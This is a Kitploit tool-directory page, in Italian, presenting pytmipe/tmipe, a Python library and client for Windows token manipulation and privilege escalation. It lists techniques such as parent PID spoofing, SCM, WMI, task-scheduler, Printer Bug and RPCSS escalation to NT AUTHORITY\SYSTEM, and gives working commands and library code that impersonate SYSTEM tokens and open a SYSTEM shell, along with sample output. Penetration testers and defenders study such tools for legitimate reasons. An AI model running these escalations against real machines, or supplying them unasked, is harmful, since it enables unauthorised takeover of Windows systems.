Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pytmipe — Libreria Python e client per manipolazioni e impersonificazioni di token per escalation di privilegi su Windows | Kitploit
Strumenti/GitHubGitHub/quentinhardy/pytmipe
Escalation di PrivilegiStrumenti di ImpersonificazionePost-ExploitPenetration TestingRed Teaming
GitHubquentinhardy/pytmipe

pytmipe

Libreria Python e client per manipolazioni e impersonificazioni di token per escalation di privilegi su Windows

Vedi Repository
123233 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PYTMIPE & TMIPE

PYTMIPE (libreria Python per manipolazione dei token e impersonificazione per escalation dei privilegi) è una libreria Python 3 per manipolare i token di Windows e gestire le impersonificazioni al fine di ottenere maggiori privilegi su Windows. TMIPE è il client Python 3 che utilizza la libreria pytmipe.

Contenuto

  • Un client Python: tmipe (python3 tmipe.py)
  • Una libreria Python: pytmipe. Utile per includere questo progetto in un altro
  • Esempi per pyinstaller, per ottenere eseguibili autonomi

Documentazione

  • Slides "Manipolazione dei token di Windows, impersonificazione ed escalation dei privilegi" (inglese): link

  • Articolo su MISC 112 (francese): link

Funzionalità principali

MetodoPrivilegi richiestiSO (non esaustivo)Destinatario diretto (massimo)
Creazione e impersonificazione tokennome utente e passwordTuttiamministratore locale
Impersonificazione/rubrica tokenSeDebugPrivilegeTuttint authority\system
Parent PID spoofing (ereditarietà handle)SeDebugPrivilege>= Vistant authority\system
Servizio (SCM)Amministratore locale (e livello di integrità alto se UAC abilitato)Tuttint authority\system o account di dominio
Evento WMIAmministratore locale (e livello di integrità alto se UAC abilitato)Tuttint authority\system
« Printer Bug » LPESeImpersonatePrivilege (account di servizio)Windows 8.1, 10 e Server 2012R2/2016/2019nt authority\system
RPCSS Service LPESeImpersonatePrivilege (account di servizio)Windows 10 e Server 2016/2019nt authority\system

Capacità

Il seguente elenco non esaustivo mostra alcune funzionalità implementate nella libreria pytmipe:

  • Gestione token e privilegi:
    • ottenere, abilitare o disabilitare privilegi su token per thread corrente o remoto
    • ottenere informazioni su token locale o remoto
    • ottenere token effettivo per thread corrente (impersonificazione o token primario)
  • ottenere molte informazioni sui token selezionati:
    • tipo di elevazione, tipo di impersonificazione, token collegato con dettagli, SID, ACL, gruppi predefiniti, gruppo primario, proprietario, privilegi, fonte
    • ecc.
  • Elencare tutti i token accessibili (token primari e di impersonificazione) dal thread corrente:
    • 2 metodi diversi implementati: metodo "thread" e metodo "handle" (preferito)
    • verificare se il token può essere impersonato
    • ottenere informazioni su ciascun token (tipo di elevazione, tipo di impersonificazione, token collegato, SID, ecc.)
    • ottenere tutti i token accessibili per nome account (SID)
  • Impersonare un token o un utente:
    • Creazione token e impersonificazione (richiede credenziali dell'utente)
    • Impersonificazione/rubrica token (privilegi specifici richiesti): impersonare un token scelto
    • Creare processo con un token (privilegi specifici richiesti): impersonare un token scelto e creare un nuovo processo
    • Impersonare il primo token nt authority\system trovato
    • impersonare token primario di processo remoto con pid
  • Metodi di escalation:
    • Parent PID Spoofing - Ereditarietà Handle
    • Service Manager tramite comando diretto o impersonificazione named pipe: da amministratore locale a nt authority\system (o altro account privilegiato)
    • Task scheduler tramite comando diretto o impersonificazione named pipe: da amministratore locale a nt authority\system
    • Job WMI tramite comando diretto o impersonificazione named pipe: da amministratore locale a nt authority\system
    • Printer Bug: da SeImpersonatePrivilege a nt authority\system
    • RPCSS: da SeImpersonatePrivilege a nt authority\system
    • Riabilitazione privilegi tramite task scheduling e impersonificazione named pipe

Dipendenze

ctypes è utilizzato il più possibile. Molte funzionalità di pywin32 sono state risviluppate in pytmipe per evitare l'uso di pywin32 per una migliore portabilità. Tuttavia, il modulo Task Scheduler utilizza ancora pywin32 (più precisamente pythoncom) per mancanza di tempo. Tutti gli altri moduli usano solo ctypes.

COME USARE

Per il client Python (chiamato tmipe):

root@kitploit:~
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
                {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
                ...

                      **
    888888  8b    d8  88  88""Yb  888888
      88    88b  d88  88  88__dP  88__
      88    88YbdP88  88  88"""   88""
      88    88 YY 88  88  88      888888
-------------------------------------------
Token Manipulation, Impersonation and
     Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])

positional arguments:
  {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}

                         Scegli un comando principale
    cangetadmin          Verifica se l'utente può ottenere accesso amministratore
    printalltokens       Mostra tutti i token accessibili dal thread corrente
    printalltokensbyname
                         Mostra tutti i token accessibili dal thread corrente per nome account
    printalltokensbypid  Mostra tutti i token accessibili dal thread corrente per pid
    printsystemtokens    Mostra tutti i token di sistema accessibili dal thread corrente
    searchimpfirstsystem
                         Cerca e impersona il primo token di sistema
    imppid               Impersona il token primario del pid selezionato e prova ad avviare cmd.exe
    imptoken             Impersona token primario o di impersonificazione del pid/handle selezionato e prova ad avviare cmd.exe
    printerbug           Sfrutta il "printer bug" per ottenere una shell di sistema
    rpcss                Sfrutta "rpcss" per ottenere una shell di sistema
    spoof                Parent PID Spoofing ("handle inheritance")
    impuser              Crea processo con credenziali tramite impersonificazione
    runas                Crea processo con credenziali come runas
    scm                  Crea processo con Service Control Manager

optional arguments:
  -h, --help             mostra questo messaggio di aiuto ed esce
  --version              mostra il numero di versione del programma ed esce

Per la libreria Python (chiamata pytmipe), vedere il codice sorgente e gli esempi. Normalmente, ho ben documentato il codice sorgente... La maggior parte delle funzioni è documentata.

Per esempi pyinstaller e standalone, vedere i file nella cartella src/examples/.

Esempi

Se vuoi sapere come usare la libreria pytimpe, vedere la cartella src/examples per molti esempi.

Esempio 1: ottenere nt authority\system

Per impersonare il primo token system e ottenere un prompt cmd.exe come system dal client Python (tmipe):

root@kitploit:~
python.exe tmipe.py searchimpfirstsystem -vv

Per fare la stessa cosa direttamente con la libreria pytmipe, vedere il file src/examples/searchAndImpersonateFirstSystemToken.py:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)

Aprirà un prompt cmd.exe come system se l'utente corrente di Windows ha i diritti necessari.

Ovviamente, da questo codice sorgente, puoi creare un eseguibile standalone con pyinstaller.

Esempio 2: ottenere token

Per ottenere token primari e di impersonificazione utilizzati nel processo corrente:

root@kitploit:~
python.exe tmipe.py printalltokens --current --full --linked

Output:

root@kitploit:~
- PID: 3212
------------------------------
  - PID: 3212
  - type: Primary (1)
  - token: 764
  - hval: None
  - ihandle: None
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-32-544
  - Groups:
    - S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
    - S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
  - Privileges (User Rights):
    - SeAssignPrimaryTokenPrivilege: Enabled
    [...]
    - SeTrustedCredManAccessPrivilege: Enabled
  - issystem: True
  - sessionID: 1
  - elevationtype: Default (1)
  - iselevated: True
  - Linked Token: None
  - tokensource: b'*SYSTEM*'
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Default DACL:
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
  [...]
  - Mandatory Policy: NO_WRITE_UP

Per ottenere tutti i token accessibili dal thread corrente, organizzati per pid, solo quando l'impersonificazione è possibile:

root@kitploit:~
python.exe tmipe.py printalltokensbypid --imp-only

Output:

root@kitploit:~
[...]
- PID 4276:
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
        - None
- PID 1660:
        - S-1-5-21-28624056-3392308708-440876048-1106: DOMINIO\UTENTE (possible imp: True)
        - S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
        - S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
        - S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]

Se vuoi eseguire questa operazione con la libreria pytmipe, è altrettanto facile:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)

Esempio 3: impersonare un token

Puoi impersonare un token selezionato.

Primo passo, ottenere tutti i token in base ai tuoi filtri (token system e token che possono essere impersonati dal thread corrente):

root@kitploit:~
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}

Output:

root@kitploit:~
[...]
- PID: 2288
------------------------------
  - PID: 2288
  - type: Impersonation (2)
  - token: 2504
  - ihandle: 118
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-18
  - issystem: True
  - elevationtype: Default (1)
  - iselevated: True
  - linkedtoken: None
  - implevel: Impersonate (2)
  - appcontainertoken: False
  [...]
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Mandatory Policy: VALID_MASK
  - canimpersonate: True
[...]

Questo output precedente mostra un token di impersonificazione situato nel pid 2288 (ihandle 118), che ha un livello di integrità system. È possibile impersonare questo token specifico con il seguente comando:

root@kitploit:~
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv

Questo comando precedente apre cmd.exe come nt authority\system.

Questo può essere fatto anche con la libreria pytmipe. Il seguente codice sorgente impersona il primo token system disponibile, stampa il token effettivo e termina l'impersonificazione:

root@kitploit:~
from impersonate import Impersonate
from windef import TokenImpersonation

allTokens = imp.getTokensAccessibleFilter(targetPID=None,
                                          filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
                                          _useThreadMethod=False)
if allTokens == {} or allTokens==None:
    print("Nessun token trovato per impersonificazione")
else:
    pid = list(allTokens.keys())[0] #usa il primo token del primo pid restituito in 'allTokens'
    firstIHandle = allTokens[pid][0]['ihandle']
    imp.printThisToken(allTokens, pid, firstIHandle)
    imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
    print("Token effettivo corrente per il thread corrente dopo impersonificazione:")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
    imp.terminateImpersonation()
    print("Token effettivo corrente per il thread corrente (impersonificazione terminata):")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)

Donazione

Se vuoi supportare il mio lavoro con una donazione, lo apprezzerò molto:

Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf

Scarica lo strumento